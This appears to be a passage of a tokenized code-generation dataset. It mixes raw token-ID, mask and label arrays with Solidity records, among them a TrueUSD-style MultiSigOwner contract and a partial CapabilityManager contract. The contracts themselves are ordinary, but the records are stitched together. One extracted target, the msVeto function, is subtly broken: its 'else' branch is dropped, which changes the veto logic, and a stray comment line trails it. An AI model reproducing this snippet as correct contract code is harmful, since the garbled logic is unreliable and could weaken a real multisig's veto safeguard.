1121,
1758,
1399,
635,
333,
3419,
18,
225,
1021,
3419,
1599,
1492,
333,
3419,
4692,
1347,
4440,
463,
566,
1121,
18,
225,
1021,
4048,
1147,
1399,
364,
8843,
310,
326,
12213,
18,
225,
1021,
4232,
39,
17,
3657,
9599,
2502,
4694,
19918,
279,
2202,
1375,
8791,
4668,
3245,
68,
3695,
18,
225,
1021,
4232,
39,
17,
3657,
9599,
2502,
4694,
19918,
279,
2202,
1375,
8791,
4668,
2961,
3064,
3245,
68,
3695,
18,
225,
512,
7948,
1347,
326,
5502,
3064,
3726,
1664,
353,
3526,
18,
225,
3726,
1021,
394,
1758,
434,
326,
5502,
3064,
3726,
18,
225,
13845,
1021,
394,
5502,
3064,
1719,
1599,
1399,
364,
18709,
729,
3410,
4533,
18,
225,
805,
14667,
1021,
394,
14036,
316,
4048,
364,
1517,
729,
3410,
18,
1089,
590,
1347,
326,
3419,
353,
5590,
310,
326,
6991,
18,
225,
512,
7948,
1347,
326,
729,
23178,
1089,
353,
3764,
18,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
1958,
15118,
4668,
3245,
288,
203,
3639,
2874,
12,
11890,
5034,
6249,
516,
1758,
13,
729,
5460,
414,
31,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x65bf82914a2BA0999c5b3aB034C1Da3EeBBE256c/sources/contracts/GameContract.sol | Transfer winnings to the winner | chosenToken.transfer(_winner, winnings);
| 4,948,219 | [
1,
5912,
5657,
82,
899,
358,
326,
5657,
1224,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
10447,
1345,
18,
13866,
24899,
91,
7872,
16,
5657,
82,
899,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.13;
import "./TokenController.sol";
import "../Proxy/OwnedUpgradeabilityProxy.sol";
/*
This contract is the owner of TokenController.
This contract is responsible for calling all onlyOwner functions in
TokenController.
This contract has a copy of all functions in TokenController.
Functions with name starting with 'ms' are not in TokenController.
They are for admin purposes (eg. transfer eth out of MultiSigOwner)
MultiSigOwner contract has three owners
The first time a function is called, an action is created.
The action is in pending state until another owner approve the action.
Once another owner approves, the action will be executed immediately.
There can only be one pending/in flight action at a time.
To approve an action the owner needs to call the same function with the
same parameter. If the function or parameter doesn't match the current in
flight action, it is reverted.
Each owner can only approve/veto the current action once.
Vetoing an in flight also requires 2/3 owners to veto.
*/
contract MultiSigOwner {
mapping (address => bool) public owners;
//mapping that keeps track of which owner had already voted in the current action
mapping(address=>bool) public voted;
//The controller instance that this multisig controls
TokenController public tokenController;
//list of all owners of the multisigOwner
address[3] public ownerList;
bool public initialized;
//current owner action
OwnerAction public ownerAction;
modifier onlyOwner() {
require(owners[msg.sender], "only Owner");
_;
}
struct OwnerAction {
bytes callData;
string actionName;
uint8 approveSigs;
uint8 disappoveSigs;
}
event ActionInitiated(string actionName);
event ActionExecuted(string actionName);
event ActionVetoed(string actionName);
//Initial Owners are set during deployment
function msInitialize(address[3] calldata _initialOwners) external {
require(!initialized);
require(_initialOwners[0] != address(0) &&
_initialOwners[1] != address(0) &&
_initialOwners[2] != address(0));
owners[_initialOwners[0]] = true;
owners[_initialOwners[1]] = true;
owners[_initialOwners[2]] = true;
ownerList[0] = _initialOwners[0];
ownerList[1] = _initialOwners[1];
ownerList[2] = _initialOwners[2];
initialized = true;
}
function() external payable {
}
/**
* @dev initialize an action if there's no in flight action
or sign the current action if the second owner is calling the same
function with the same parameters (same call data)
*/
function _initOrSignOwnerAction(string memory _actionName) internal {
require(!voted[msg.sender], "already voted");
if (ownerAction.callData.length == 0) {
emit ActionInitiated(_actionName);
ownerAction.callData = msg.data;
}
require(keccak256(ownerAction.callData) == keccak256(msg.data), "different from the current action");
ownerAction.approveSigs += 1;
voted[msg.sender] = true;
}
function _deleteOwnerAction() internal {
delete ownerAction;
delete voted[ownerList[0]];
delete voted[ownerList[1]];
delete voted[ownerList[2]];
}
function msUpgradeImplementation(address _newImplementation) external onlyOwner {
_initOrSignOwnerAction("msUpgradeImplementation");
if (ownerAction.approveSigs > 1) {
OwnedUpgradeabilityProxy(address(this)).upgradeTo(_newImplementation);
emit ActionExecuted("msUpgradeImplementation");
_deleteOwnerAction();
}
}
function msTransferProxyOwnership(address _newProxyOwner) external onlyOwner {
_initOrSignOwnerAction("msTransferProxyOwnership");
if (ownerAction.approveSigs > 1) {
OwnedUpgradeabilityProxy(address(this)).transferProxyOwnership(_newProxyOwner);
emit ActionExecuted("msTransferProxyOwnership");
_deleteOwnerAction();
}
}
function msClaimProxyOwnership() external onlyOwner {
_initOrSignOwnerAction("msClaimProxyOwnership");
if (ownerAction.approveSigs > 1) {
OwnedUpgradeabilityProxy(address(this)).claimProxyOwnership();
emit ActionExecuted("msClaimProxyOwnership");
_deleteOwnerAction();
}
}
/**
* @dev Replace a current owner with a new owner
*/
function msUpdateOwner (address _oldOwner, address _newOwner) external onlyOwner {
require(owners[_oldOwner] && !owners[_newOwner]);
_initOrSignOwnerAction("updateOwner");
if (ownerAction.approveSigs > 1) {
owners[_oldOwner] = false;
owners[_newOwner] = true;
for (uint8 i; i < 3; i++) {
if (ownerList[i] == _oldOwner) {
ownerList[i] = _newOwner;
}
}
emit ActionExecuted("updateOwner");
_deleteOwnerAction();
}
}
/**
* @dev Let MultisigOwner contract claim ownership of a claimable contract
*/
function msIssueClaimContract(address _other) external onlyOwner {
_initOrSignOwnerAction("msIssueClaimContract");
if (ownerAction.approveSigs > 1) {
Claimable other = Claimable(_other);
other.claimOwnership();
emit ActionExecuted("msIssueClaimContract");
_deleteOwnerAction();
}
}
/**
* @dev Transfer ownership of a contract that this contract owns to a new owner
*@param _contractAddr The contract that this contract currently owns
*@param _newOwner The address to which the ownership will be transferred to
*/
function msReclaimContract(address _contractAddr, address _newOwner) external onlyOwner {
_initOrSignOwnerAction("msReclaimContract");
if (ownerAction.approveSigs > 1) {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(_newOwner);
emit ActionExecuted("msReclaimContract");
_deleteOwnerAction();
}
}
/**
* @dev Transfer all eth in this contract address to another address
*@param _to The eth will be send to this address
*/
function msReclaimEther(address payable _to) external onlyOwner {
_initOrSignOwnerAction("msReclaimEther");
if (ownerAction.approveSigs > 1) {
_to.transfer(address(this).balance);
emit ActionExecuted("msReclaimEther");
_deleteOwnerAction();
}
}
/**
* @dev Transfer all specifc tokens in this contract address to another address
*@param _token The token address of the token
*@param _to The tokens will be send to this address
*/
function msReclaimToken(ERC20 _token, address _to) external onlyOwner {
_initOrSignOwnerAction("msReclaimToken");
if (ownerAction.approveSigs > 1) {
uint256 balance = _token.balanceOf(address(this));
_token.transfer(_to, balance);
emit ActionExecuted("msReclaimToken");
_deleteOwnerAction();
}
}
/**
* @dev Set the instance of TokenController that this contract will be calling
*/
function msSetTokenController (address _newController) public onlyOwner {
_initOrSignOwnerAction("msSetTokenController");
if (ownerAction.approveSigs > 1) {
tokenController = TokenController(_newController);
emit ActionExecuted("msSetTokenController");
_deleteOwnerAction();
}
}
function msTransferControllerProxyOwnership(address _newOwner) external onlyOwner {
_initOrSignOwnerAction("msTransferControllerProxyOwnership");
if (ownerAction.approveSigs > 1) {
OwnedUpgradeabilityProxy(address(uint160(address(tokenController)))).transferProxyOwnership(_newOwner);
emit ActionExecuted("msTransferControllerProxyOwnership");
_deleteOwnerAction();
}
}
function msClaimControllerProxyOwnership() external onlyOwner {
_initOrSignOwnerAction("msClaimControllerProxyOwnership");
if (ownerAction.approveSigs > 1) {
OwnedUpgradeabilityProxy(address(uint160(address(tokenController)))).claimProxyOwnership();
emit ActionExecuted("msClaimControllerProxyOwnership");
_deleteOwnerAction();
}
}
function msUpgradeControllerProxyImplTo(address _implementation) external onlyOwner {
_initOrSignOwnerAction("msUpgradeControllerProxyImplTo");
if (ownerAction.approveSigs > 1) {
OwnedUpgradeabilityProxy(address(uint160(address(tokenController)))).upgradeTo(_implementation);
emit ActionExecuted("msUpgradeControllerProxyImplTo");
_deleteOwnerAction();
}
}
/**
* @dev Veto the current in flight action. Reverts if no current action
*/
function msVeto() public onlyOwner {
require(!voted[msg.sender], "already voted");
require(ownerAction.callData.length > 0, "no action in flight");
if (ownerAction.disappoveSigs >= 1) {
emit ActionVetoed(ownerAction.actionName);
_deleteOwnerAction();
} else {
ownerAction.disappoveSigs += 1;
voted[msg.sender] = true;
}
}
/**
* @dev Internal function used to call functions of tokenController.
If no in flight action, create a new one. Otherwise sign and the action
if the msg.data matches call data matches. Reverts otherwise
*/
function _signOrExecute(string memory _actionName) internal {
_initOrSignOwnerAction(_actionName);
if (ownerAction.approveSigs > 1) {
(bool success,) = address(tokenController).call(msg.data);
require(success, "tokenController call failed");
emit ActionExecuted(_actionName);
_deleteOwnerAction();
}
}
/*
============================================
THE FOLLOWING FUNCTIONS CALLED TO TokenController.
They share the same function signatures as functions in TokenController.
They will generate the correct callData so that the same function will be called
in TokenController.
*/
function initialize() external onlyOwner {
_signOrExecute("initialize");
}
function transferTusdProxyOwnership(address /*_newOwner*/) external onlyOwner {
_signOrExecute("transferTusdProxyOwnership");
}
function claimTusdProxyOwnership() external onlyOwner {
_signOrExecute("claimTusdProxyOwnership");
}
function upgradeTusdProxyImplTo(address /*_implementation*/) external onlyOwner {
_signOrExecute("upgradeTusdProxyImplTo");
}
function transferOwnership(address /*newOwner*/) external onlyOwner {
_signOrExecute("transferOwnership");
}
function claimOwnership() external onlyOwner {
_signOrExecute("claimOwnership");
}
function setMintThresholds(uint256 /*_instant*/, uint256 /*_ratified*/, uint256 /*_multiSig*/) external onlyOwner {
_signOrExecute("setMintThresholds");
}
function setMintLimits(uint256 /*_instant*/, uint256 /*_ratified*/, uint256 /*_multiSig*/) external onlyOwner {
_signOrExecute("setMintLimit");
}
function refillInstantMintPool() external onlyOwner {
_signOrExecute("refillInstantMintPool");
}
function refillRatifiedMintPool() external onlyOwner {
_signOrExecute("refillRatifiedMintPool");
}
function refillMultiSigMintPool() external onlyOwner {
_signOrExecute("refillMultiSigMintPool");
}
function requestMint(address /*_to*/, uint256 /*_value*/) external onlyOwner {
_signOrExecute("requestMint");
}
function instantMint(address /*_to*/, uint256 /*_value*/) external onlyOwner {
_signOrExecute("instantMint");
}
function ratifyMint(uint256 /*_index*/, address /*_to*/, uint256 /*_value*/) external onlyOwner {
_signOrExecute("ratifyMint");
}
function revokeMint(uint256 /*_index*/) external onlyOwner {
_signOrExecute("revokeMint");
}
function transferMintKey(address /*_newMintKey*/) external onlyOwner {
_signOrExecute("transferMintKey");
}
function invalidateAllPendingMints() external onlyOwner {
_signOrExecute("invalidateAllPendingMints");
}
function pauseMints() external onlyOwner {
_signOrExecute("pauseMints");
}
function unpauseMints() external onlyOwner {
_signOrExecute("unpauseMints");
}
function pauseMint(uint /*_opIndex*/) external onlyOwner {
_signOrExecute("pauseMint");
}
function unpauseMint(uint /*_opIndex*/) external onlyOwner {
_signOrExecute("unpauseMint");
}
function setToken(CompliantDepositTokenWithHook /*_newContract*/) external onlyOwner {
_signOrExecute("setToken");
}
function setRegistry(Registry /*_registry*/) external onlyOwner {
_signOrExecute("setRegistry");
}
function setTokenRegistry(Registry /*_registry*/) external onlyOwner {
_signOrExecute("setTokenRegistry");
}
function issueClaimOwnership(address /*_other*/) external onlyOwner {
_signOrExecute("issueClaimOwnership");
}
function transferChild(Ownable /*_child*/, address /*_newOwner*/) external onlyOwner {
_signOrExecute("transferChild");
}
function requestReclaimContract(Ownable /*_other*/) external onlyOwner {
_signOrExecute("requestReclaimContract");
}
function requestReclaimEther() external onlyOwner {
_signOrExecute("requestReclaimEther");
}
function requestReclaimToken(ERC20 /*_token*/) external onlyOwner {
_signOrExecute("requestReclaimToken");
}
function setFastPause(address /*_newFastPause*/) external onlyOwner {
_signOrExecute("setFastPause");
}
function pauseToken() external onlyOwner {
_signOrExecute("pauseToken");
}
function wipeBlackListedTrueUSD(address /*_blacklistedAddress*/) external onlyOwner {
_signOrExecute("wipeBlackListedTrueUSD");
}
function setBurnBounds(uint256 /*_min*/, uint256 /*_max*/) external onlyOwner {
_signOrExecute("setBurnBounds");
}
function reclaimEther(address /*_to*/) external onlyOwner {
_signOrExecute("reclaimEther");
}
function reclaimToken(ERC20 /*_token*/, address /*_to*/) external onlyOwner {
_signOrExecute("reclaimToken");
}
}
| * @dev Veto the current in flight action. Reverts if no current action/ | function msVeto() public onlyOwner {
require(!voted[msg.sender], "already voted");
require(ownerAction.callData.length > 0, "no action in flight");
if (ownerAction.disappoveSigs >= 1) {
emit ActionVetoed(ownerAction.actionName);
_deleteOwnerAction();
ownerAction.disappoveSigs += 1;
voted[msg.sender] = true;
}
}
if the msg.data matches call data matches. Reverts otherwise
| 6,366,641 | [
1,
58,
11453,
326,
783,
316,
25187,
1301,
18,
868,
31537,
309,
1158,
783,
1301,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4086,
58,
11453,
1435,
1071,
1338,
5541,
288,
203,
3639,
2583,
12,
5,
90,
16474,
63,
3576,
18,
15330,
6487,
315,
17583,
331,
16474,
8863,
203,
3639,
2583,
12,
8443,
1803,
18,
1991,
751,
18,
2469,
405,
374,
16,
315,
2135,
1301,
316,
25187,
8863,
203,
3639,
309,
261,
8443,
1803,
18,
2251,
2910,
841,
8267,
87,
1545,
404,
13,
288,
203,
5411,
3626,
4382,
58,
11453,
329,
12,
8443,
1803,
18,
1128,
461,
1769,
203,
5411,
389,
3733,
5541,
1803,
5621,
203,
5411,
3410,
1803,
18,
2251,
2910,
841,
8267,
87,
1011,
404,
31,
203,
5411,
331,
16474,
63,
3576,
18,
15330,
65,
273,
638,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
309,
326,
1234,
18,
892,
1885,
745,
501,
1885,
18,
868,
31537,
3541,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.17;
import "./Factory.sol";
import "./ProcedureTable.sol";
contract CapabilityManager is ProcedureTable {
// CAPABILITY_TYPES
uint8 constant CAP_PROC_CALL = 3;
uint8 constant CAP_PROC_REGISTER = 4;
uint8 constant CAP_PROC_DELETE = 5;
uint8 constant CAP_PROC_ENTRY = 6;
uint8 constant CAP_STORE_WRITE = 7;
uint8 constant CAP_LOG = 8;
uint8 constant CAP_ACC_CALL = 9;
function checkRegisterCapability(uint192 currentProcedure, bytes24 procedureKey, uint256 reqCapIndex) internal view returns (bool) {
uint256 capType = CAP_PROC_REGISTER;
// Storage key of the current procedure on the procedure heap
uint256 currentProcPointer = _getPointerProcHeapByName(currentProcedure);
// How many Procedure Call capabilities does the current procedure have?
uint256 nCaps = _get(currentProcPointer | (capType*0x10000));
// If the requested cap is out of the bounds of the cap list, we
// clearly don't have the capability;
if (reqCapIndex+1 > nCaps) {
return false;
}
// A procedure call capabilities stores a single 32-byte value at 0x00.
uint256 value = _get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x00);
// This value has to be destructured to get 2 values, a prefix length
// and a base address.
uint8 prefix;
bytes24 baseKey;
bytes24 clearedBaseKey;
bytes24 clearedReqKey;
assembly {
// Shift the 32-byte value to the right to obtain the first byte only
prefix := div(value,0x100000000000000000000000000000000000000000000000000000000000000)
// Shift the value to get the procedure key left align (as it should
// be for compatibility with bytes24).
baseKey := mul(value,0x10000000000000000)
let q := signextend(1,2)
// h is a large number we will use for arithmetic
let h := 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
// y is a number with $prefix 1s at the start
let y := mul(h,exp(2,sub(256,prefix)))
clearedBaseKey := and(y,baseKey)
clearedReqKey := and(y,procedureKey)
}
return clearedBaseKey == clearedReqKey;
}
function checkDeleteCapability(uint192 currentProcedure, bytes24 procedureKey, uint256 reqCapIndex) internal view returns (bool) {
uint256 capType = CAP_PROC_DELETE;
// Storage key of the current procedure on the procedure heap
uint256 currentProcPointer = _getPointerProcHeapByName(currentProcedure);
// How many Procedure Call capabilities does the current procedure have?
uint256 nCaps = _get(currentProcPointer | (capType*0x10000));
// If the requested cap is out of the bounds of the cap list, we
// clearly don't have the capability;
if (reqCapIndex+1 > nCaps) {
return false;
}
// A procedure delete capability stores a single 32-byte value at 0x00.
uint256 value = _get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x00);
// This value has to be destructured to get 2 values, a prefix length
// and a base address.
uint8 prefix;
bytes24 baseKey;
bytes24 clearedBaseKey;
bytes24 clearedReqKey;
assembly {
// Shift the 32-byte value to the right to obtain the first byte only
prefix := div(value,0x100000000000000000000000000000000000000000000000000000000000000)
// Shift the value to get the procedure key left align (as it should
// be for compatibility with bytes24).
baseKey := mul(value,0x10000000000000000)
let q := signextend(1,2)
// h is a large number we will use for arithmetic
let h := 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
// y is a number with $prefix 1s at the start
let y := mul(h,exp(2,sub(256,prefix)))
clearedBaseKey := and(y,baseKey)
clearedReqKey := and(y,procedureKey)
}
return clearedBaseKey == clearedReqKey;
}
function checkSetEntryCapability(uint192 currentProcedure, uint256 reqCapIndex) internal view returns (bool) {
uint256 capType = CAP_PROC_ENTRY;
// Storage key of the current procedure on the procedure heap
uint256 currentProcPointer = _getPointerProcHeapByName(currentProcedure);
// How many Write capabilities does the current procedure have?
uint256 nCaps = _get(currentProcPointer | (capType*0x10000));
// If the requested cap is out of the bounds of the cap list, we
// clearly don't have the capability.
// NB: Even though all set entry caps are identical, if you ask for an
// index that doesn't exist, we will still return false. This implies
// that you should always ask for the cap at index zero to be on the
// safe side.
if (reqCapIndex+1 > nCaps) {
return false;
} else {
return true;
}
// A set entry capability has no values
}
function checkCallCapability(uint192 currentProcedure, bytes24 procedureKey, uint256 reqCapIndex) internal view returns (bool) {
uint256 capType = CAP_PROC_CALL;
// Storage key of the current procedure on the procedure heap
uint256 currentProcPointer = _getPointerProcHeapByName(currentProcedure);
// How many Procedure Call capabilities does the current procedure have?
uint256 nCaps = _get(currentProcPointer | (capType*0x10000));
// If the requested cap is out of the bounds of the cap list, we
// clearly don't have the capability;
if (reqCapIndex+1 > nCaps) {
return false;
}
// A procedure call capabilities stores a single 32-byte value at 0x00.
uint256 value = _get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x00);
// This value has to be destructured to get 2 values, a prefix length
// and a base address.
uint8 prefix;
bytes24 baseKey;
bytes24 clearedBaseKey;
bytes24 clearedReqKey;
assembly {
// Shift the 32-byte value to the right to obtain the first byte only
prefix := div(value,0x100000000000000000000000000000000000000000000000000000000000000)
// Shift the value to get the procedure key left align (as it should
// be for compatibility with bytes24).
baseKey := mul(value,0x10000000000000000)
let q := signextend(1,2)
// h is a large number we will use for arithmetic
let h := 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
// y is a number with $prefix 1s at the start
let y := mul(h,exp(2,sub(256,prefix)))
clearedBaseKey := and(y,baseKey)
clearedReqKey := and(y,procedureKey)
}
return clearedBaseKey == clearedReqKey;
}
function checkAccCallCapability(uint192 currentProcedure, address account, uint256 amount, uint256 reqCapIndex) internal view returns (bool) {
uint256 capType = CAP_ACC_CALL;
// Storage key of the current procedure on the procedure heap
uint256 currentProcPointer = _getPointerProcHeapByName(currentProcedure);
// How many Write capabilities does the current procedure have?
uint256 nCaps = _get(currentProcPointer | (capType*0x10000));
// If the requested cap is out of the bounds of the cap list, we
// clearly don't have the capability;
if (reqCapIndex+1 > nCaps) {
return false;
}
// A write capability has 2-3 values, callAny: Boolean, sendValue: Boolean,
// and ethAddress: EthereumAddress. ethAddress is only defined if
// callAny is false. These values are packed into a single 32-byte value.
uint256 value = _get(currentProcPointer | (capType*0x10000) | (reqCapIndex + 1)*0x100 | 0x00);
// This value has to be destructured to get 2 values, a prefix length
// and a base address.
// The two flags, callAny and sendValue are stored in the first byte
// (which we will call the flagByte).
uint8 flagByte;
assembly {
flagByte := byte(0,value)
}
// Select the first bit
// Solidity does not allow conversion of ints to bools, so we do it
// explicitly.
bool callAny;
if ((flagByte & 0x80) > 0) { // 0x80 == 0b100000000;
callAny = true;
}
// Select the second bit
// Solidity does not allow conversion of ints to bools, so we do it
// explicitly.
bool sendValue;
if ((flagByte & 0x40) > 0) { // 0x40 == 0b010000000;
sendValue = true;
}
// We probably don't need to clear these bits, but it is defensive coding.
address ethAddress = address(value & 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff); // clear all but last 20-bytes
// If callAny is false (0) and ethAddress does not match the requested
// account, return false
if (!callAny && (ethAddress != account)) {
return false;
}
// If sendValue is false (0) and amount is non-zero, return false
if (!sendValue && (amount != 0)) {
return false;
}
// Otherwise return true
return true;
}
function checkWriteCapability(uint192 currentProcedure, uint256 toStoreAddress, uint256 reqCapIndex) internal view returns (bool) {
uint256 capType = CAP_STORE_WRITE;
// Storage key of the current procedure on the procedure heap
